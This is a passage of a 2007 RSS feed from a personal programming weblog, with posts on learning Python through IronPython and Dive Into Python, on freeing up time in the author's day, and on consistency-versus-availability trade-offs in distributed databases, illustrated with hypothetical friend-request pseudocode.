&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for weight, item, feedTitle in all_links.get(link):&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print "&amp;lt;li&amp;gt;%s:
&amp;lt;a href='%s'&amp;gt;%s&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;" % (feedTitle, item.permalink, item.title)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print "&amp;lt;/ul&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;"&amp;nbsp; 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; print "&amp;lt;/ol&amp;gt;" 
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=9a5175fb-3058-47f8-b340-7619e670830c" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,9a5175fb-3058-47f8-b340-7619e670830c.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=a342bc18-b90c-44f0-870d-2bd16b9bdecc</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,a342bc18-b90c-44f0-870d-2bd16b9bdecc.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,a342bc18-b90c-44f0-870d-2bd16b9bdecc.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=a342bc18-b90c-44f0-870d-2bd16b9bdecc</wfw:commentRss>
      <slash:comments>15</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
I've been reading <a href="http://diveintopython.org/toc/index.html">Dive Into Python</a> for
a couple of days have gotten far enough to tell what the following block of code does
if the <strong>object</strong> variable is an arbitrary Python object 
</p>
        <blockquote>
          <pre>methodList = [method for method in dir(object) if callable(getattr(object, method))]
    processFunc = collapse and (lambda s: " ".join(s.split())) or (lambda s: s)
    print "\n".join(["%s %s" %
                      (method.ljust(spacing),
                       processFunc(str(getattr(object, method).__doc__)))
                     for method in methodList])</pre>
        </blockquote>
        <p>
However I've been having a tougher time than I expected with learning Python using
Dive Into Python for a couple of reasons, some to do with how the book is laid out
and some to do with my choice of <a href="http://www.codeplex.com/IronPython">IronPython</a> as
my Python implementation of choice. The main problems I've been having are
</p>
        <ul>
          <li>
            <a href="http://www.codeplex.com/IronPython">IronPython</a> doesn't have a number
of standard libraries that are used in the book such as os, xml.dom, UserDict, sgmllib
and so on. This means I can't construct or run a number of the more advanced samples
in the book. 
</li>
          <li>
The book seems to dive into meaty topics before covering the basics. For example,
introspection (aka reflection) and lambda functions (aka anonymous methods) 
are covered in Chapter 4 while defining classes and importing modules is covered in
Chapter 5. Similarly, a discussion on <a href="http://www.diveintopython.org/object_oriented_framework/for_loops.html">for
loops</a> seems to have been removed from the most recent version of the book and
replaced with a discussion on <a href="http://www.diveintopython.org/native_data_types/mapping_lists.html">list
comprehensions</a> which are definitely superior but more alien to the novice. 
</li>
          <li>
I tend to learn comparatively. Thus I would love to get a more direct mapping of constructs
in C# to those in Python with  discussions on Python features that don't exist
in C#. This is the tack I took with <a href="http://www.25hoursaday.com/CsharpVsJava.html">C#
from a Java Developers perspective</a> and it seems <a href="http://del.icio.us/url/a34a68e0783431814a6990ee4f93810d">a
lot of people</a> found that useful. 
</li>
        </ul>
        <p>
For these reasons, I thought it would be useful to create a set of tutorials for myself
that would address some of these issues I've been having. Then I wondered if other
C# developers wouldn't find such an article or tutorial useful as well. Are there
any C# developers out there that would actually be interested in this or am I an edge
case? 
</p>
        <p>
          <strong>
            <u>PS:</u>
          </strong> I wouldn't expect to get time to actually writing, editing
and publishing such tutorials until the summer of next year at the earliest (which
I expect should coincide with the availability of IronPython 2.0).  
</p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=a342bc18-b90c-44f0-870d-2bd16b9bdecc" />
      </body>
      <title>Interested in &amp;quot;Python for C# Developers?&amp;quot;</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,a342bc18-b90c-44f0-870d-2bd16b9bdecc.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/11/24/InterestedInQuotPythonForCDevelopersquot.aspx</link>
      <pubDate>Sat, 24 Nov 2007 14:28:09 GMT</pubDate>
      <description>&lt;p&gt;
I've been reading &lt;a href="http://diveintopython.org/toc/index.html"&gt;Dive Into Python&lt;/a&gt; for
a couple of days have gotten far enough to tell what the following block of code does
if the &lt;strong&gt;object&lt;/strong&gt; variable is an arbitrary Python object 
&lt;/p&gt;
&lt;blockquote&gt;&lt;pre&gt;methodList = [method for method in dir(object) if callable(getattr(object, method))]
    processFunc = collapse and (lambda s: " ".join(s.split())) or (lambda s: s)
    print "\n".join(["%s %s" %
                      (method.ljust(spacing),
                       processFunc(str(getattr(object, method).__doc__)))
                     for method in methodList])&lt;/pre&gt;&lt;/blockquote&gt; 
&lt;p&gt;
However I've been having a tougher time than I expected with learning Python using
Dive Into Python for a couple of reasons, some to do with how the book is laid out
and some to do with my choice of &lt;a href="http://www.codeplex.com/IronPython"&gt;IronPython&lt;/a&gt; as
my Python implementation of choice. The main problems I've been having are
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.codeplex.com/IronPython"&gt;IronPython&lt;/a&gt; doesn't have a number
of standard libraries that are used in the book such as os, xml.dom, UserDict, sgmllib
and so on. This means I can't construct or run a number of the more advanced samples
in the book. 
&lt;/li&gt;
&lt;li&gt;
The book seems to dive into meaty topics before covering the basics. For example,
introspection (aka reflection) and lambda functions (aka anonymous methods)&amp;nbsp;
are covered in Chapter 4 while defining classes and importing modules is covered in
Chapter 5. Similarly, a discussion on &lt;a href="http://www.diveintopython.org/object_oriented_framework/for_loops.html"&gt;for
loops&lt;/a&gt; seems to have been removed from the most recent version of the book and
replaced with a discussion on &lt;a href="http://www.diveintopython.org/native_data_types/mapping_lists.html"&gt;list
comprehensions&lt;/a&gt; which are definitely superior but more alien to the novice. 
&lt;/li&gt;
&lt;li&gt;
I tend to learn comparatively. Thus I would love to get a more direct mapping of constructs
in C# to those in Python with&amp;nbsp; discussions on Python features that don't exist
in C#. This is the tack I took with &lt;a href="http://www.25hoursaday.com/CsharpVsJava.html"&gt;C#
from a Java Developers perspective&lt;/a&gt; and it seems &lt;a href="http://del.icio.us/url/a34a68e0783431814a6990ee4f93810d"&gt;a
lot of people&lt;/a&gt; found that useful. 
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
For these reasons, I thought it would be useful to create a set of tutorials for myself
that would address some of these issues I've been having. Then I wondered if other
C# developers wouldn't find such an article or tutorial useful as well. Are there
any C# developers out there that would actually be interested in this or am I an edge
case? 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;&lt;u&gt;PS:&lt;/u&gt;&lt;/strong&gt; I wouldn't expect to get time to actually writing, editing
and publishing such tutorials until the summer of next year at the earliest (which
I expect should coincide with the availability of IronPython 2.0).&amp;nbsp; 
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=a342bc18-b90c-44f0-870d-2bd16b9bdecc" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,a342bc18-b90c-44f0-870d-2bd16b9bdecc.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=111626c8-7987-4e7b-a6d8-2cef7de4b077</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,111626c8-7987-4e7b-a6d8-2cef7de4b077.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,111626c8-7987-4e7b-a6d8-2cef7de4b077.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=111626c8-7987-4e7b-a6d8-2cef7de4b077</wfw:commentRss>
      <slash:comments>5</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
        </p>
        <p>
I’ve been working on simplifying my life and improving on my mental state over
the last year or so. I’m now at the stage where I think I’ve gotten into a decent
routine with diet and excercise. My next step [now that the rigors of buying the house
and planning the wedding are over] is to broaden my programming horizons by learning
a radically different programming language from my comfort zone, Python and C#
respectively, while not harming my personal life or work habits. 
</p>
        <p>
It turns out that I can add an hour or two to my day by (i) leaving home earlier
and thus avoiding traffic (ii) reading blogs less (iii) unsubscribing from most
of the Microsoft internal mailing lists I was on and (iv) scheduling meetings
so they are clumped together instead of having three meetings with 30 minutes in between
each one thus burning up an hour of my time mentally twiddling my thumbs
and checking email.  
</p>
        <p>
So far I’ve installed <a href="http://www.codeplex.com/IronPython">IronPython</a> and <a href="http://sourceforge.net/projects/python-mode/">python-mode</a>.
I’ve also started reading <a href="http://www.diveintopython.org/">Dive into Python</a> and
have gotten as far as <a href="http://www.diveintopython.org/native_data_types/index.html">Chapter
3</a>. I’d just like to thank folks like <a href="http://diveintomark.org/">Mark Pilgrim</a>, <a href="http://blogs.msdn.com/hugunin/">Jim
Hugunin</a> and <a href="http://www.artima.com/weblogs/index.jsp?blogger=pumpichank">Barry
Warsaw</a> who are gifting programmers with such wonderful resources. Right now I’m
still trying to wrap my mind around <a href="http://www.diveintopython.org/getting_to_know_python/everything_is_an_object.html#d0e4665">Everything
is An Object</a></p>
        <blockquote dir="ltr" style="MARGIN-RIGHT: 0px">
          <p>
            <em>Everything in <span class="application">Python</span> is an object, and almost
everything has attributes and methods. </em>
          </p>
          <p>
            <em>This is so important that I'm going to repeat it in case you missed it the first
few times: <span class="emphasis"><font color="#ff0000">everything in <span class="application">Python</span> is
an object</font></span>. Strings are objects. Lists are objects. Functions are objects.
Even modules are objects.</em>
          </p>
          <p>
            <em>All functions have a built-in attribute <tt class="literal">__doc__</tt>, which
returns the <tt class="literal">doc string</tt> defined in the function's source code.
The <tt class="filename">sys</tt> module is an object which has (among other things)
an attribute called <tt class="varname">path</tt>. And so forth.</em>
          </p>
        </blockquote>
        <p>
So far this is already an enjoyable experience for someone who has mostly been programming
in Javascript (not object oriented, dynamic but weakly typed) and C# (statically
typed, no <a href="http://en.wikipedia.org/wiki/REPL">REPL</a>) for the past few years. 
</p>
        <p>
Once I’m done reading Dive into Python, my plan is to integrate Sam Ruby’s <a href="http://intertwingly.net/blog/2006/09/05/MeMeme-2-0/">MeMeme
2.0</a> into <a href="http://www.rssbandit.org/">RSS Bandit</a>. That way even though
I’ve stopped reading blogs regularly, I don’t end up finding out days later that <a href="http://weblogs.asp.net/scottgu/archive/2007/11/19/visual-studio-2008-and-net-3-5-released.aspx">Visual
Studio 2008 and .NET Framework 3.5</a> were released because it wasn’t on TechMeme
or programming.reddit.  
</p>
        <p>
Optimizing your life by writing code is fun. I guess this is what they call
life hacking. <img title="Wink" style="VERTICAL-ALIGN: middle" alt="Wink" src="http://shared.live.com/QGncRMHLLpIcOfCh--4aMA/emoticons/smile_wink.gif" /></p>
        <p>
          <strong>Now playing:</strong>
          <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=The Clash">The
Clash</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Rock The Casbah&amp;artistTerm=The Clash">Rock
The Casbah</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=111626c8-7987-4e7b-a6d8-2cef7de4b077" />
      </body>
      <title>The Joy of Programming: Learning Python and Simplifying Life</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,111626c8-7987-4e7b-a6d8-2cef7de4b077.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/11/21/TheJoyOfProgrammingLearningPythonAndSimplifyingLife.aspx</link>
      <pubDate>Wed, 21 Nov 2007 04:00:02 GMT</pubDate>
      <description>&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
I’ve been working on simplifying my life and improving on my mental state&amp;nbsp;over
the last year or so. I’m now at the stage where I think I’ve gotten into a decent
routine with diet and excercise. My next step [now that the rigors of buying the house
and planning the wedding are over] is to broaden my programming horizons by learning
a radically different programming language&amp;nbsp;from my comfort zone, Python and C#
respectively, while not harming my personal life&amp;nbsp;or&amp;nbsp;work habits. 
&lt;/p&gt;
&lt;p&gt;
It turns out that I can add an hour or two&amp;nbsp;to my day by (i) leaving home earlier
and thus avoiding traffic (ii) reading blogs less (iii)&amp;nbsp;unsubscribing from most
of&amp;nbsp;the Microsoft internal mailing lists I was on&amp;nbsp;and (iv) scheduling meetings
so they are clumped together instead of having three meetings with 30 minutes in between
each one thus burning up&amp;nbsp;an hour&amp;nbsp;of my time mentally twiddling my thumbs
and checking email.&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
So far I’ve installed &lt;a href="http://www.codeplex.com/IronPython"&gt;IronPython&lt;/a&gt; and &lt;a href="http://sourceforge.net/projects/python-mode/"&gt;python-mode&lt;/a&gt;.
I’ve also started reading &lt;a href="http://www.diveintopython.org/"&gt;Dive into Python&lt;/a&gt; and
have gotten as far as &lt;a href="http://www.diveintopython.org/native_data_types/index.html"&gt;Chapter
3&lt;/a&gt;. I’d just like to thank folks like &lt;a href="http://diveintomark.org/"&gt;Mark Pilgrim&lt;/a&gt;, &lt;a href="http://blogs.msdn.com/hugunin/"&gt;Jim
Hugunin&lt;/a&gt; and &lt;a href="http://www.artima.com/weblogs/index.jsp?blogger=pumpichank"&gt;Barry
Warsaw&lt;/a&gt; who are gifting programmers with such wonderful resources. Right now I’m
still trying to wrap my mind around &lt;a href="http://www.diveintopython.org/getting_to_know_python/everything_is_an_object.html#d0e4665"&gt;Everything
is An Object&lt;/a&gt;
&lt;/p&gt;
&lt;blockquote dir=ltr style="MARGIN-RIGHT: 0px"&gt; 
&lt;p&gt;
&lt;em&gt;Everything in &lt;span class=application&gt;Python&lt;/span&gt; is an object, and almost everything
has attributes and methods. &lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;This is so important that I'm going to repeat it in case you missed it the first
few times: &lt;span class=emphasis&gt;&lt;font color=#ff0000&gt;everything in &lt;span class=application&gt;Python&lt;/span&gt; is
an object&lt;/font&gt;&lt;/span&gt;. Strings are objects. Lists are objects. Functions are objects.
Even modules are objects.&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;All functions have a built-in attribute &lt;tt class=literal&gt;__doc__&lt;/tt&gt;, which
returns the &lt;tt class=literal&gt;doc string&lt;/tt&gt; defined in the function's source code.
The &lt;tt class=filename&gt;sys&lt;/tt&gt; module is an object which has (among other things)
an attribute called &lt;tt class=varname&gt;path&lt;/tt&gt;. And so forth.&lt;/em&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
So far this is already an enjoyable experience for someone who has mostly been&amp;nbsp;programming
in Javascript (not object oriented, dynamic but weakly typed)&amp;nbsp;and C# (statically
typed, no &lt;a href="http://en.wikipedia.org/wiki/REPL"&gt;REPL&lt;/a&gt;) for the past few years. 
&lt;/p&gt;
&lt;p&gt;
Once I’m done reading Dive into Python, my plan is to integrate&amp;nbsp;Sam Ruby’s &lt;a href="http://intertwingly.net/blog/2006/09/05/MeMeme-2-0/"&gt;MeMeme
2.0&lt;/a&gt; into &lt;a href="http://www.rssbandit.org/"&gt;RSS Bandit&lt;/a&gt;. That way even though
I’ve stopped reading blogs regularly, I don’t end up finding out days later that &lt;a href="http://weblogs.asp.net/scottgu/archive/2007/11/19/visual-studio-2008-and-net-3-5-released.aspx"&gt;Visual
Studio 2008 and .NET Framework 3.5&lt;/a&gt; were released because it wasn’t on TechMeme
or programming.reddit.&amp;nbsp;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
Optimizing your life by writing code&amp;nbsp;is fun.&amp;nbsp;I guess this is what they call
life hacking. &lt;img title=Wink style="VERTICAL-ALIGN: middle" alt=Wink src="http://shared.live.com/QGncRMHLLpIcOfCh--4aMA/emoticons/smile_wink.gif"&gt; 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Now playing:&lt;/strong&gt; &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=The Clash"&gt;The
Clash&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Rock The Casbah&amp;amp;artistTerm=The Clash"&gt;Rock
The Casbah&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=111626c8-7987-4e7b-a6d8-2cef7de4b077" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,111626c8-7987-4e7b-a6d8-2cef7de4b077.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=4fc797a1-5631-4192-85e9-9f8467acd025</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,4fc797a1-5631-4192-85e9-9f8467acd025.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,4fc797a1-5631-4192-85e9-9f8467acd025.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=4fc797a1-5631-4192-85e9-9f8467acd025</wfw:commentRss>
      <slash:comments>7</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
        </p>
        <p>
          <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Rock Star (feat. Ludacris &amp; Kid Rock)&amp;artistTerm=Ludacris">
          </a>I
recently got an email from a developer about my post <a href="http://www.25hoursaday.com/weblog/2007/10/06/ThoughtsOnAmazonsInternalStorageSystemDynamo.aspx">Thoughts
on Amazon's Internal Storage System (Dynamo)</a> which claimed that I seem
to be romanticizing distributed systems that favor availability over consistency.
He pointed out that although this sounds nice on paper, it places a significant burden
on application developers. He is 100% right. This has been my experience in Windows
Live and I’ve heard enough second hand to assume it is the experience at Amazon as
well when it comes to <a href="http://allthingsdistributed.com/2007/10/amazons_dynamo.html">Dynamo</a>. 
</p>
        <p>
I thought an example of how this trade-off affects developers would be a useful excercise
and may be of interest to my readers. The following example is hypothetical and should
not be construed as describing the internal architectures of any production systems
I am aware of. 
</p>
        <p>
          <strong>Scenario:</strong>
          <a href="http://www.facebook.com/p/Torsten_Rendelmann/549254553">Torsten
Rendelmann</a>, a <a href="http://www.facebook.com/">Facebook</a> user in Germany,
accepts a friend request from <a href="http://www.facebook.com/p/Dare_Obasanjo/500050028">Dare
Obasanjo</a> who is a <a href="http://www.facebook.com/">Facebook</a> user in the
United States. 
</p>
        <p>
          <strong>The Distributed System</strong>: To improve the response times for users in
Europe, imagine <a href="http://www.facebook.com/">Facebook</a> has a data center
in London while American users a serviced from a Data Center in Palo Alto. To
achieve this, the user database is broken up in a process commonly described as <a href="http://www.highscalability.com/unorthodox-approach-database-design-coming-shard">sharding</a>. <em>The
question of if and how data is replicated across both data centers isn’t relevant
to this example.</em></p>
        <p>
The application developer who owns the confirm_friend_request() method, will
ideally want to write code that took the following form 
</p>
        <blockquote>
          <code>
            <p>
public void confirm_friend_request(user1, user2){
</p>
            <p>
  begin_transaction(); 
<br />
  update_friend_list(user1, user2, status.confirmed); //palo alto 
<br />
  update_friend_list(user2, user1, status.confirmed); //london 
<br />
  end_transaction(); 
</p>
            <p>
} 
</p>
          </code>
        </blockquote>
        <p>
Yay, <a href="http://en.wikipedia.org/wiki/Distributed_transaction">distributed transactions</a>.
You have to love a feature that <a href="http://publib.boulder.ibm.com/infocenter/cicsts/v3r1/index.jsp?topic=/com.ibm.cics.ts31.doc/dfhp6/dfhp61i.htm">every
vendor advises you not to use</a> if you care about performance. So obviously this
doesn’t work for a large scale distributed system where performance and availabilty
are important.  
</p>
        <p>
Things get particularly ugly when you realize that either data center or the specific
server a user’s data is stored on could be unreachable for a variety of reasons (e.g.
DoS attack, high seasonal load, drunk sys admin tripped over a power cord, hard drive
failure due to cheap components, etc). 
</p>
        <p>
There are a number of options one can consider when availability and high performance
are considered to be more important than data consistency in the above example. Below
are three potential implementations of the code above each with it’s own set of trade
offs. 
</p>
        <p>
OPTION I: Application developer performs manual rollback on error 
</p>
        <blockquote>
          <code>
            <p>
public void confirm_friend_request_A(user1, user2){
</p>
            <p>
 try{<br />
   update_friend_list(user1, user2, status.confirmed); //palo alto <br />
 }catch(exception e){ <br />
  report_error(e); <br />
  return; 
<br />
 } 
</p>
            <p>
 try{ 
<br />
  update_friend_list(user2, user1, status.confirmed); //london 
<br />
 }catch(exception e) {<br />
  revert_friend_list(user1, user2); 
<br />
  report_error(e); 
<br />
  return; <br />
 }<br /><br />
} 
</p>
            <p>
            </p>
          </code>
        </blockquote>
        <p>
The problem here is that we don’t handle the case where revert_friend_list() fails.
This means that Dare (user1) may end up having Torsten (user2) on his friend list
but Torsten won’t have Dare on his friend list. The database has lied. 
</p>
        <p>
OPTION II: Failed events are placed in a message queue to be retried until they succeed.   
</p>
        <blockquote>
          <p>
public void confirm_friend_request_B(user1, user2){
</p>
          <p>
 try{<br />
   update_friend_list(user1, user2, status.confirmed); //palo alto <br />
 }catch(exception e){ <br />
  report_error(e); <br />
  add_to_retry_queue(operation.updatefriendlist, user1, user2, current_time()); <br />
 } 
</p>
          <p>
 try{ 
<br />
  update_friend_list(user2, user1, status.confirmed); //london 
<br />
 }catch(exception e) {<br />
  report_error(e); <br />
  add_to_retry_queue(operation.updatefriendlist, user2, user1, current_time());  <br />
 }<br /><br />
} 
</p>
        </blockquote>
        <p>
Depending on how long the error exists and how long it takes an item to sit in the
message queue, there will be times when the Dare (user1) may end up having Torsten
(user2) on his friend list but Torsten won’t have Dare on his friend list. The database
has lied, again.
</p>
        <p>
OPTION III: System always accepts updates but application developers may have to resolve
data conflicts later. (The Dynamo approach) 
</p>
        <blockquote>
          <code>
            <p>
              <font color="#008000">/* update_friend_list always succeeds but may enqueue an item
in message queue to try again later in the event of failure. This failure is not propagated
to callers of the method.  */</font>
              <br />
            </p>
            <p>
public void confirm_friend_request_C(user1, user2){<br />
   update_friend_list(user1, user2, status.confirmed); // palo alto<br />
   update_friend_list(user2, user1, status.confirmed); //london 
</p>
}<br /><p></p><p><font color="#008000">/* get_friends() method has to reconcile results returned by
get_friends() because there may be data inconsistency due to a conflict because a
change that was applied from the message queue is contradictory to a subsequent
change by the user.  In this case, status is a bitflag where all conflicts
are merged and it is up to app developer to figure out what to do. */</font> 
</p><p>
  public list get_friends(user1){ <br />
      list actual_friends = new list();<br />
      list friends = get_friends();   
</p><p>
      foreach (friend in friends){      
</p><p>
        if(friend.status == friendstatus.confirmed){ <font color="#008000">//no
conflict</font><br />
           actual_friends.add(friend); 
</p><p>
        }else if((friend.status &amp;= friendstatus.confirmed) <br />
                  
and !(friend.status &amp;= friendstatus.deleted)){ 
</p><p>
        <font color="#008000">  // assume
friend is confirmed as long as it wasn’t also deleted<br /></font>          friend.status = friendstatus.confirmed;              <br />
          actual_friends.add(friend); <br />
          update_friends_list(user1,
friend, status.confirmed);
</p><p>
        }else{ <font color="#008000">//assume deleted
if there is a conflict with a delete</font><br />
          update_friends_list( user1,
friend, status.deleted)<br />
        } 
</p><p>
      }//foreach
</p><p>
   return actual_friends;<br />
}
</p></code>
        </blockquote>
        <p>
These are just a few of the many approaches that can be implemented in such a distributed
system to get around the performance and availability implications of using distributed
transactions. The main problem with them is that in every single case, the application
developer has an extra burden placed on his shoulders due to inherent fragility of
distributed systems. For a lot of developers, the shock of this realization is
akin to the shock of programming in C++ after using C# or Ruby for a couple of
years. Manual memory management? Actually having to perform bounds checking arrays? Being
unable to use decades old technology like database transactions? 
</p>
        <p>
The challenge in building a distributed storage system like <a href="http://labs.google.com/papers/bigtable.html">BigTable</a> or <a href="http://allthingsdistributed.com/2007/10/amazons_dynamo.html">Dynamo</a> is
in balancing the need for high availability and performance while not building a system
that encourages all sorts of insidious bugs to exist in the system <em>by design</em>. 
Some might argue that <a href="http://allthingsdistributed.com/2007/10/amazons_dynamo.html">Dynamo</a> goes
to far in the burden that it places on developers while there are others that would
argue that it doesn’t go far enough. 
</p>
        <p>
In what camp do you fall? 
</p>
        <p>
          <strong>Now playing:</strong>
          <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=R. Kelly">R.
Kelly</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Rock Star (feat. Ludacris &amp; Kid Rock)&amp;artistTerm=R. Kelly">Rock
Star (feat. Ludacris &amp; Kid Rock)</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=4fc797a1-5631-4192-85e9-9f8467acd025" />
      </body>
      <title>When Databases Lie: Consistency vs. Availability in Distributed Systems</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,4fc797a1-5631-4192-85e9-9f8467acd025.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/10/10/WhenDatabasesLieConsistencyVsAvailabilityInDistributedSystems.aspx</link>
      <pubDate>Wed, 10 Oct 2007 03:00:12 GMT</pubDate>
      <description>&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Rock Star (feat. Ludacris &amp;amp; Kid Rock)&amp;amp;artistTerm=Ludacris"&gt;&lt;/a&gt;I
recently got an email from a developer about my post &lt;a href="http://www.25hoursaday.com/weblog/2007/10/06/ThoughtsOnAmazonsInternalStorageSystemDynamo.aspx"&gt;Thoughts
on Amazon's Internal Storage System (Dynamo)&lt;/a&gt;&amp;nbsp;which&amp;nbsp;claimed that I seem
to be romanticizing distributed systems that&amp;nbsp;favor availability&amp;nbsp;over consistency.
He pointed out that although this sounds nice on paper, it places a significant burden
on application developers. He is 100% right. This has been my experience in Windows
Live and I’ve heard enough second hand to assume it is the experience at Amazon as
well when it comes to &lt;a href="http://allthingsdistributed.com/2007/10/amazons_dynamo.html"&gt;Dynamo&lt;/a&gt;. 
&lt;/p&gt;
&lt;p&gt;
I thought an example of how this trade-off affects developers would be a useful excercise
and may be of interest to my readers. The following example is hypothetical and should
not be construed as describing the internal architectures of any production systems
I am aware of. 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Scenario:&lt;/strong&gt; &lt;a href="http://www.facebook.com/p/Torsten_Rendelmann/549254553"&gt;Torsten
Rendelmann&lt;/a&gt;, a &lt;a href="http://www.facebook.com/"&gt;Facebook&lt;/a&gt; user in Germany,
accepts a friend request from&amp;nbsp;&lt;a href="http://www.facebook.com/p/Dare_Obasanjo/500050028"&gt;Dare
Obasanjo&lt;/a&gt; who is a &lt;a href="http://www.facebook.com/"&gt;Facebook&lt;/a&gt; user in the
United States. 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;The Distributed System&lt;/strong&gt;: To improve the response times for users in
Europe, imagine&amp;nbsp;&lt;a href="http://www.facebook.com/"&gt;Facebook&lt;/a&gt; has a data center
in London while American users a serviced from a Data Center in Palo Alto.&amp;nbsp;To
achieve this, the user database is broken up in a process commonly described as &lt;a href="http://www.highscalability.com/unorthodox-approach-database-design-coming-shard"&gt;sharding&lt;/a&gt;.&amp;nbsp;&lt;em&gt;The
question of if and how&amp;nbsp;data is replicated across both data centers isn’t relevant
to this example.&lt;/em&gt; 
&lt;/p&gt;
&lt;p&gt;
The&amp;nbsp;application developer who owns the confirm_friend_request() method, will
ideally want to write code that took the following form&amp;nbsp;
&lt;/p&gt;
&lt;blockquote&gt;&lt;code&gt; 
&lt;p&gt;
public void&amp;nbsp;confirm_friend_request(user1, user2){
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp; begin_transaction(); 
&lt;br&gt;
&amp;nbsp; update_friend_list(user1, user2, status.confirmed); //palo alto 
&lt;br&gt;
&amp;nbsp; update_friend_list(user2, user1, status.confirmed); //london 
&lt;br&gt;
&amp;nbsp; end_transaction(); 
&lt;p&gt;
}&amp;nbsp;
&lt;/p&gt;
&lt;/code&gt;&lt;/blockquote&gt; 
&lt;p&gt;
Yay, &lt;a href="http://en.wikipedia.org/wiki/Distributed_transaction"&gt;distributed transactions&lt;/a&gt;.
You have to love a feature that &lt;a href="http://publib.boulder.ibm.com/infocenter/cicsts/v3r1/index.jsp?topic=/com.ibm.cics.ts31.doc/dfhp6/dfhp61i.htm"&gt;every
vendor advises you not to use&lt;/a&gt; if you care about performance. So obviously this
doesn’t work for a large scale distributed system where performance and availabilty
are important. &amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
Things get particularly ugly when you realize that either data center or the specific
server a user’s data is stored on could be unreachable for a variety of reasons (e.g.
DoS attack, high seasonal load, drunk sys admin tripped over a power cord, hard drive
failure due to cheap components, etc). 
&lt;/p&gt;
